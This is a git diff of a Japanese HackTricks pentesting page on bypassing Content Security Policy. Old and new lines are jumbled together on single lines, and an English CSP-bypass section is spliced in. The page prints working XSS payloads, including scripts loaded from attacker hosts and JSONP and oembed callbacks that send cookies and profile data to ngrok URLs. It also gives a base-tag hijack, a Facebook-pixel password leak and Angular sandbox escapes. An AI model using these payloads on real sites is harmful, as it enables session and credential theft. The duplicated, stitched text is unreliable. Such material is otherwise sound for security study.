<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォローしてください。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。
</details> </details>
@ -22,22 +22,24 @@ HackTricks をサポートする他の方法:
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新のアナウンスメント**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得 最新のバグバウンティの開始や重要なプラットフォームの更新についての情報を入手す
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
## CSPとは ## CSPとは
Content Security PolicyCSPは、主に **クロスサイトスクリプティングXSSなどの攻撃から保護**することを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメインselfからのリソースの読み込みと実行を許可し、インラインリソースや `eval`、`setTimeout`、`setInterval`などの関数を介して文字列コードの実行を許可する可能性があります。 Content Security PolicyCSPは、主に **クロスサイトスクリプティングXSSなどの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメインselfからのリソースの読み込みと実行を許可し、インラインリソースや `eval`、`setTimeout`、`setInterval`などの関数を介して文字列コードの実行を許可する可能性があります。
CSPの実装は、**レスポンスヘッダ**を介して行われるか、**HTMLページにメタ要素を組み込む**ことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 CSPの実装は、**レスポンスヘッダーを介して**または **HTMLページにメタ要素を組み込むことによって**行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。
* レスポンスヘッダーを介して実装されます:
``` ```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
``` ```
* メタタグを使用して実装されています: * メタタグを使用して実装されます:
```xml ```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
``` ```
@ -64,11 +66,11 @@ object-src 'none';
``` ```
### ディレクティブ ### ディレクティブ
* **script-src**: 特定のソース(URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含むに対するJavaScriptの許可 * **script-src**: URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含む、JavaScriptの特定ソースを許可します
* **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースの取得のためのデフォルトポリシーを設定します。 * **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
* **child-src**: ウェブワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。 * **child-src**: ウェブワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。
* **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。 * **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
* **frame-src**: フレームのURLを制限します。 * **frame-src**: フレームのためのURLを制限します。
* **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、`<frame>`、`<iframe>`、`<object>`、`<embed>`、`<applet>`などの要素に適用されます。 * **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、`<frame>`、`<iframe>`、`<object>`、`<embed>`、`<applet>`などの要素に適用されます。
* **img-src**: 画像の許可されたソースを定義します。 * **img-src**: 画像の許可されたソースを定義します。
* **font-src**: `@font-face`を使用してロードされるフォントの有効なソースを指定します。 * **font-src**: `@font-face`を使用してロードされるフォントの有効なソースを指定します。
@ -140,7 +142,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```yaml ```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval'; Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
動作するペイロード 動作するペイロード:
```html ```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
``` ```
@ -152,7 +154,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```yaml ```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *; Content-Security-Policy: script-src 'self' https://google.com https: data *;
``` ```
動作するペイロード 動作するペイロード:
```markup ```markup
"/>'><script src=https://attacker-website.com/evil.js></script> "/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script> "/>'><script src=data:text/javascript,alert(1337)></script>
@ -183,9 +185,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
``` ```
しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるように制限している可能性が非常に高いです。 しかし、サーバーが**アップロードされたファイルを検証**し、**特定の種類のファイルのみをアップロード**できるように制限している可能性が非常に高いです。
さらに、サーバーが受け入れている拡張子を使用してファイル内に**JSコードをアップロード**できたとしても(例: _script.png_、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルの**MIMEタイプを拡張子に基づいて選択**し、Chromeのようなブラウザは画像であるべきものにJavaScriptコードを実行することを**拒否**するからです。"幸いにも"、間違いがあります。たとえば、CTFから学んだところによると、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のような**MIMEタイプで提供**されません。 さらに、サーバーが受け入れる拡張子を使用してファイル内に**JSコードをアップロード**できたとしても(例: _script.png_、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルの**MIMEタイプを拡張子に基づいて選択**し、Chromeのようなブラウザは画像であるべきものに含まれるJavascriptコードの実行を**拒否**するからです。"幸いにも"、間違いがあります。例えば、CTFから学んだところによると、**Apacheは**_**.wave**_**拡張子を認識しない**ため、**audio/\***のような**MIMEタイプで提供**されません。
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができ、その拡張子とスクリプトの内容を持つファイルをアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。 ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
### Form-action
JSをインジェクトすることができない場合でも、例えば資格情報を**フォームアクションにインジェクト**して(おそらくパスワードマネージャーが自動入力することを期待して)、情報を外部に流出させることができます。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
### サードパーティエンドポイント + ('unsafe-eval') ### サードパーティエンドポイント + ('unsafe-eval')
@ -195,7 +201,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```yaml ```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
``` ```
## Angularの脆弱性バージョンを読み込んで任意のJSを実行する: ## Angularの脆弱性バージョンを読み込んで任意のJSを実行する
```xml ```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -219,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェック](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/): #### Angular + `window`オブジェクトを返す関数を持つライブラリを使用したペイロード([この投稿をチェック](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/):
{% hint style="info" %} {% hint style="info" %}
この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。 この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべてのライブラリを**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることを示しています。
{% endhint %} {% endhint %}
```markup ```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -246,7 +252,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
``` ```
## Angular XSS from a class name: ## Angular XSS from a class name:
クラス名からのAngular XSS: ### クラス名からのAngular XSS:
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -254,7 +260,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
``` ```
#### Google reCAPTCHA JSコードの悪用 #### Google reCAPTCHA JSコードの悪用
[**このCTF解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用してCSPをバイパスして任意のJSコードを実行できる可能性があります。 [**このCTF解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用してCSPをバイパスして任意のJSコードを実行できる可能性があります。
```html ```html
<div <div
ng-controller="CarouselController as c" ng-controller="CarouselController as c"
@ -280,11 +286,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js"; b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'> b.nonce=a.nonce; doc.body.appendChild(b)'>
``` ```
#### www.google.comを悪用したオープンリダイレクト
以下のURLはexample.comにリダイレクトします[こちら](https://www.landh.tech/blog/20240304-google-hack-50000/)から):
```
https://www.google.com/amp/s/example.com/
```
### サードパーティのエンドポイント + JSONP ### サードパーティのエンドポイント + JSONP
\*.google.com/script.google.com を悪用する
Google Apps Script を悪用して、script.google.com 内のページで情報を受信することが可能です。これは[このレポート](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)で行われています。
```http ```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
``` ```
以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントは安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。動作するペイロード: 以下のようなシナリオでは、`script-src` が `self` と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。JSONP エンドポイントはセキュリティの弱いコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロード:
```markup ```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -294,13 +310,13 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert; https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script> <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
``` ```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSPバイパス用JSONPエンドポイントが含まれています。** [**JSONBee**](https://github.com/zigoo0/JSONBee) **には、さまざまなウェブサイトのCSPバイパス用に使用できるJSONPエンドポイントが含まれています。**
同じ脆弱性が発生する可能性があります**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、初期エンドポイントが信頼されているため、リダイレクトも信頼されます。 **信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します**。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。
### サードパーティの悪用 ### サードパーティの悪用
[次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性がある多くのサードパーティドメインが、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです [次の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている多くのサードパーティドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。これらのサードパーティの一部は次のとおりです
| エンティティ | 許可されたドメイン | 機能 | | エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ | | ----------------- | -------------------------------------------- | ------------ |
@ -313,35 +329,35 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | 外部流出、実行 | | Salesforce Heroku | \*.herokuapp.com | 外部流出、実行 |
| Google Firebase | \*.firebaseapp.com | 外部流出、実行 | | Google Firebase | \*.firebaseapp.com | 外部流出、実行 |
ターゲットのCSPで許可されたドメインのいずれかを見つけた場合、そのサードパーティサービスに登録して、データを外部サービスに外部流出させるか、コードを実行するかのいずれかができる可能性があります ターゲットのCSPで許可されているドメインのいずれかを見つけた場合、そのサードパーティサービスに登録することで、CSPをバイパスできる可能性があり、そのサービスにデータを外部流出させたり、コードを実行したりできるかもしれません
たとえば、次のCSPを見つけた場合 たとえば、次のCSPを見つけた場合
``` ```
Content-Security-Policy: default-src 'self www.facebook.com; Content-Security-Policy: default-src 'self www.facebook.com;
``` ```
# Content Security Policy (CSP) Bypass ## Content Security Policy (CSP) Bypass
## Description ### Introduction
In some scenarios, it may be possible to bypass Content Security Policy (CSP) restrictions to execute malicious code on a target web application. This can be achieved by exploiting misconfigurations or weaknesses in the CSP implementation. In some scenarios, a website may have a strict Content Security Policy (CSP) in place to prevent certain types of attacks, such as cross-site scripting (XSS). However, there are ways to bypass CSP protections and execute malicious code on the target website.
## Techniques ### Bypass Techniques
### 1. Inline Script Execution 1. **Inline Script Execution**: By finding a way to execute inline scripts, an attacker can bypass CSP restrictions that block inline scripts.
By finding a way to execute inline scripts, it is possible to bypass CSP restrictions that disallow inline script execution. This can be done by leveraging certain HTML attributes or event handlers that allow for the execution of arbitrary JavaScript code. 2. **Unsafe Eval**: Using functions like `eval()` to execute code can bypass CSP restrictions that block the use of `eval`.
### 2. Data: URI Scheme 3. **Data Protocol**: Utilizing the `data:` protocol to execute code can bypass CSP restrictions that block certain protocols.
Using the data: URI scheme, it is possible to embed the contents of a script directly within a URL. This can be used to bypass CSP restrictions that block external script sources by including the script data inline. 4. **Trusted Types Bypass**: Exploiting vulnerabilities in Trusted Types can allow an attacker to bypass CSP protections.
### 3. Unsafe Eval ### Mitigation
If the CSP policy allows for unsafe-eval, it is possible to execute dynamically generated code using the `eval()` function. This can be abused to bypass CSP restrictions that aim to prevent the execution of eval statements. To prevent CSP bypass attacks, website owners should:
## Recommendations - Avoid using unsafe functions like `eval()`.
- Implement strict CSP rules that disallow unsafe practices.
To prevent CSP bypasses, it is important to carefully define and implement a strict CSP policy that restricts the execution of untrusted scripts and resources. Regularly review and update the CSP policy to account for any changes in the web application's functionality. - Regularly update and patch Trusted Types to prevent bypass vulnerabilities.
``` ```
Content-Security-Policy: connect-src www.facebook.com; Content-Security-Policy: connect-src www.facebook.com;
``` ```
@ -359,11 +375,13 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
}); });
``` ```
### 前の表で指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用についての追加の説明については、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPORelative Path Overwriteを介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### RPORelative Path Overwriteを介したバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限をバイパスするためのリダイレクトに加えて、一部のサーバーで使用できるRelative Path OverwriteRPOと呼ばれる技術があります。 パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path OverwriteRPOと呼ばれるテクニックがあります。
たとえば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます: たとえば、CSPがパス `https://example.com/scripts/react/` を許可している場合、次のようにバイパスできます:
```html ```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script> <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
``` ```
@ -373,9 +391,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。 したがって、それらはそれをデコードし、効果的に `https://example.com/scripts/react/../angular/angular.js` をリクエストし、これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。 **ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパス**することができます。
解決策は、サーバーサイドで `%2f``/` として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。 解決策は、サーバーサイドで `%2f``/` として扱わないようにし、ブラウザとサーバーの間で一貫した解釈を確保してこの問題を回避することです。
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -385,25 +403,25 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md) [iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %} {% endcontent-ref %}
### missing **base-uri** ### **base-uri** が欠落している場合
**base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。 **base-uri** ディレクティブが欠落している場合、[**dangling markup injection**](../dangling-markup-html-scriptless-injection/) を実行するために悪用できます。
さらに、**ページがNonceを使用して相対パスでスクリプトを読み込んでいる場合**(例:`<script src="/js/app.js">`)、**base** **tag** を悪用して、**あなた自身のサーバーからスクリプトを読み込ませてXSSを達成**することができます。\ さらに、**ページが相対パスを使用してスクリプトを読み込んでいる**場合(例:`<script src="/js/app.js">`)、**Nonce** を使用している場合、**base** **tag** を悪用して、**自分のサーバーからスクリプトを読み込ませることでXSSを達成**することができます。\
脆弱なページが**httpS**で読み込まれている場合は、basehttpSのURLを使用してください。 脆弱なページが**httpS**で読み込まれている場合は、basehttpSのURLを使用してください。
```html ```html
<base href="https://www.attacker.com/"> <base href="https://www.attacker.com/">
``` ```
### AngularJS イベント ### AngularJS イベント
特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する場合があります。しかし、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト `$event` を提供します。この `$event` オブジェクトはCSP を回避するために悪用される可能性があります。特に、Chrome では `$event/event` オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する `path` 属性があり、その末尾には常に `window` オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。 特定のポリシーであるContent Security Policy (CSP) はJavaScriptイベントを制限する場合があります。しかし、AngularJS は代替としてカスタムイベントを導入しています。イベント内で、AngularJS はネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト `$event` を提供します。この `$event` オブジェクトはCSP を回避するために悪用される可能性があります。特に、Chrome では `$event/event` オブジェクトには、イベントの実行チェーンに関連するオブジェクト配列を保持する `path` 属性があり、その最後には常に `window` オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。
この配列を `orderBy` フィルタに向けることで、その配列を反復処理し、末端要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています。 この配列を `orderBy` フィルタに向けることで、その配列を反復処理し、末端要素(`window` オブジェクト)を利用して `alert()` のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています。
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
このスニペットは、`ng-focus`ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを活用して`alert()`関数を実行し、それによって`document.cookie`を明らかにします。 このスニペットは、`ng-focus`ディレクティブの使用法を強調し、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを活用して`alert()`関数を実行し、それによって`document.cookie`を明らかにします。
**他のAngularバイパスを見つける** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **他のAngularバイパスを見つける** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -411,9 +429,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
``` ```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
``` ```
## CSPバイパス 以下は、Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーが、コールバック関数の呼び出しと特定の脆弱なクラスを介して回避される可能性があります。このテクニックに関する詳細情報は、[このgitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)で利用可能な詳細ガイドに記載されています。
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックの詳細については、[このgitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)で利用可能な詳細ガイドを参照してください。
動作するペイロード: 動作するペイロード:
```html ```html
@ -425,13 +441,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
``` ```
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除されたり修正されたりしました) 他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(一部は削除されたり修正されたりしました)
### リダイレクトを介したバイパス ### リダイレクト経由のバイパス
CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうかリダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。 CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうかリダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。
